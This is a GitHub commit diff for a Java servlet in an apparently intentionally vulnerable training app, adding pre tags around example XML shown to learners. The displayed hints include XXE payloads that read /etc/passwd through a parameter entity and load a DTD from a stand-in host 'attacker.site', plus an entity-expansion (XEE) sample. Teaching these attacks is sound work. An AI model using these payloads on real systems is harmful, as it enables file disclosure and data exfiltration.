-
Notifications
You must be signed in to change notification settings - Fork 212
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
8 changed files
with
44 additions
and
35 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -55,14 +55,16 @@ protected void doGet(HttpServletRequest req, HttpServletResponse res) throws Ser | |
} | ||
bodyHtml.append(MessageUtils.getMsg("msg.add.users.by.xml", locale)); | ||
bodyHtml.append("<br><br>"); | ||
bodyHtml.append("<pre id=\"code\" class=\"prettyprint lang-xml\">"); | ||
bodyHtml.append(ESAPI.encoder().encodeForHTML("<?xml version=\"1.0\"?>") + "<br>"); | ||
bodyHtml.append(ESAPI.encoder().encodeForHTML("<users ou=\"ou=people,dc=t246osslab,dc=org\" >") + "<br>"); | ||
bodyHtml.append(TAB + ESAPI.encoder() | ||
.encodeForHTML("<user uid=\"user01\" phone=\"090-1234-5678\" mail=\"[email protected]\"/>") + "<br>"); | ||
bodyHtml.append(TAB + ESAPI.encoder() | ||
.encodeForHTML("<user uid=\"user02\" phone=\"090-9876-5432\" mail=\"[email protected]\">") + "<br>"); | ||
bodyHtml.append(ESAPI.encoder().encodeForHTML("</users>")); | ||
bodyHtml.append("<br><br>"); | ||
bodyHtml.append("</pre>"); | ||
bodyHtml.append("<br>"); | ||
bodyHtml.append("<input type=\"file\" name=\"file\" size=\"60\" /><br>"); | ||
bodyHtml.append(MessageUtils.getMsg("msg.select.upload.file", locale)); | ||
bodyHtml.append("<br><br>"); | ||
|
@@ -75,6 +77,7 @@ protected void doGet(HttpServletRequest req, HttpServletResponse res) throws Ser | |
if ("/xee".equals(req.getServletPath())) { | ||
bodyHtml.append(MessageUtils.getMsg("msg.note.xee", locale)); | ||
bodyHtml.append("<br><br>"); | ||
bodyHtml.append("<pre id=\"code\" class=\"prettyprint lang-xml\">"); | ||
bodyHtml.append(ESAPI.encoder().encodeForHTML("<?xml version=\"1.0\" encoding=\"UTF-8\" ?>") + "<br>"); | ||
bodyHtml.append(ESAPI.encoder().encodeForHTML("<!DOCTYPE s[") + "<br>"); | ||
bodyHtml.append(ESAPI.encoder().encodeForHTML("<!ENTITY x0 \"ha!\">") + "<br>"); | ||
|
@@ -95,21 +98,26 @@ protected void doGet(HttpServletRequest req, HttpServletResponse res) throws Ser | |
bodyHtml.append(TAB + TAB + ESAPI.encoder().encodeForHTML("</ns1:reverse>") + "<br>"); | ||
bodyHtml.append(TAB + ESAPI.encoder().encodeForHTML("</soapenv:Body>") + "<br>"); | ||
bodyHtml.append(ESAPI.encoder().encodeForHTML("</soapenv:Envelope>") + "<br>"); | ||
bodyHtml.append("</pre>"); | ||
} else { | ||
bodyHtml.append(MessageUtils.getMsg("msg.note.xxe.step1", locale)); | ||
bodyHtml.append("<br><br>"); | ||
bodyHtml.append("<pre id=\"code\" class=\"prettyprint lang-xml\">"); | ||
bodyHtml.append(ESAPI.encoder().encodeForHTML("<!ENTITY % p1 SYSTEM \"file:///etc/passwd\">") + "<br>"); | ||
bodyHtml.append( | ||
ESAPI.encoder().encodeForHTML("<!ENTITY % p2 \"<!ATTLIST users ou CDATA '%p1;'>\">") + "<br>"); | ||
bodyHtml.append(ESAPI.encoder().encodeForHTML("%p2;")); | ||
bodyHtml.append("<br><br>"); | ||
bodyHtml.append("</pre>"); | ||
bodyHtml.append("<br>"); | ||
bodyHtml.append(MessageUtils.getMsg("msg.note.xxe.step2", locale)); | ||
bodyHtml.append("<br><br>"); | ||
bodyHtml.append("<pre id=\"code\" class=\"prettyprint lang-xml\">"); | ||
bodyHtml.append(ESAPI.encoder().encodeForHTML("<?xml version=\"1.0\"?>") + "<br>"); | ||
bodyHtml.append( | ||
ESAPI.encoder().encodeForHTML("<!DOCTYPE users SYSTEM \"http://attacker.site/vulnerable.dtd\" >") | ||
+ "<br>"); | ||
bodyHtml.append(ESAPI.encoder().encodeForHTML("<users />")); | ||
bodyHtml.append("</pre>"); | ||
} | ||
bodyHtml.append("</form>"); | ||
HTTPResponseCreator.createSimpleResponse(res, MessageUtils.getMsg("title.xxe", locale), bodyHtml.toString()); | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.